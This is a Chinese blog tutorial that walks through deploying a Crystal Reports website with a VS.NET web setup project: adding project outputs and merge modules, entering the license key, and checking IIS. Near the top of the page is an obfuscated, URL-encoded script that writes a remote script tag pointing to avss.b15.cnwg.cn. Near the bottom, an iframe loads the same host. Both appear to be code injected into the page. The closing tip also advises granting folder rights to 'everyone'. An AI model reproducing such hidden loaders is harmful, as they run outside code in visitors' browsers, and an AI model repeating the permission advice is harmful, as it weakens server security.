图解水晶报表部署

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
图解水晶报表部署




                   
图解使用
VS.NET
部署含水晶报表的网站
原创作者

寒羽枫
(cityhunter172)

Crystal Report
,中文名称“水晶报表”,因为做报表的功能强大,所以被
Visual Studio.Net
整合进来了。其中
Visual Studio.Net 2002
中的
Crystal Decisions
版本为
1.0

Visual Studio.Net 2002
中的
Crystal Decisions
版本为
1.1
;如果你单独安装了
Crystal Report 9.2
,那么
Crystal Decisions
版本则为
2.0
;我现在安装的
Crystal Report 11.0
,界面很漂亮的哦,
Crystal Decisions
版本则为
3.0


公司开发的很多网站都用到水晶报表,此文是我为新人上课所写的一篇教材,趁业余时间重新整理了一下,把它搬了出来。如果它对你有所帮助,不介意的话请留下你的评论;如果你认为有什么地方不对的,那就求你在看完此文后,告诉我你的看法。总而言之,言而总之:我先抛一块砖,有玉的尽管砸过来吧……

一、
     
新建一个测试项目

此例方案名称为“
ReportsDeploy
”,向该方案添加一个空白的水晶报表“
CrystalReport1.rpt
”,如下图
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy01.JPG
二、
      
添加安装项目

右键点击
解决方案名称

ReportsDeploy
”(注意不是项目名称)→
添加(
Add
)→新项目(
New Project


选择“安装和部署项目(
Setup and Deployment Projects
)”

选中“
Web
安装项目(
Web Setup Project
)”

此处输入名称
WebSetup2
(注意项目的存放路径),如下图:
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy02.JPG

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy03.JPG
三、
     
添加安装项目的输出

右键点击
项目名称

WebSetup2


添加(
Add
)→
项目输出(
Project Output


选择项目“
ReportsDeploy


选中主输出“
Primary
”、内容文件“
Content Files
”(
Add
)。注意源文件“
Source Files
”这个选项,只有选中它,项目中的“
CrystalReport1.rpt
”才会包含在安装文件内,否则要自行拷贝。见下图

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy0
4.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy05.JPG
四、
     
添加合并模块

右键点击
项目名称

WebSetup2


添加(
Add
)→
合并模块(
Merge Module
)→
若是
Visual Studio .Net 2002
,请选中“
Database_Access.msm
”“
Database_Access_enu.msm
”“
Managed.msm
”“
regwiz.msm
”。注:对话框路径为“
C:/Program Files/Common Files/Merge Modules
”详见图:

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy06.JPG

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy07.JPG
若是
Visual Studio .Net 2003
,请选中“
Crystal_Database_Access2003.msm
”“
Crystal_Database_Access_enu2003.msm
”“
Crystal_Managed2003.msm
”“
Crystal_regwiz2003.msm
”详见图:

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy08.JPG
五、
     
设置
Crystal Reposrt
组件的序列号

右键点击水晶报表注册向导模块“
Crystal_regwiz2003.msm


属性(
Properties
)→
输入
Visual Studio .Net
中的水晶报表序列号(
License Key
)。见下图

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy09.JPG

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy10.JPG
水晶报表序列号获取如下:点击
Visual Studio .Net
工具栏帮助(
Help


关于……(
About
……)→
选中水晶报表(
Crystal Reports for Visual Studio .Net
)→
  
点击复制信息(
Copy Info
)。见下图

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy11.JPG

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy12.JPG
六、
     
生成安装文件

右键点击项目名称

WebSetup2


生成(
Build
)→
执行完毕后,可在安装项目的“
Debug
”文件夹中找到安装文件。见下图

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy13.JPG

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy14.JPG
七、
     
部署网站

运行安装程序

下一步(
Next
)→
输入此项目对应的虚拟目录名称、以及将项目安装至本机哪个“端口”的
IIS
站点下→
下一步(
Next
)→
完成(
Close
)。见下图

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy15.JPG

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy16.JPG

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy17.JPG

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy18.JPG

http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy19.JPG
八、
     
测试网站

打开
Internet
信息服务管理器(
IIS
),即可看到所安装的虚拟目录“
WebSetup2
”。注意只有在
IIS
看到了虚拟目录
CrystalReportWebFormViewer2
(有时是
CrystalReportWebFormViewer1
),部署水晶报表站点才算是成功。见下图
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy20.JPG

Trackback:
http://tb.blog.csdn.net/TrackBack.aspx?PostId=573709
在上述部署并安装之后,在运行时可能什么出现种种错误,其中一个错误就是:
在产生水晶报表文件(pdf、excel等文件)时出现没有权限访问的情况,这时,
需要把要产生报表文件所在的文件夹目录共享,把everynone加上权限,
如果您的server是WIN NT或2000,另需要把用户web application这个权限加上,
这是我个人的经验。
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值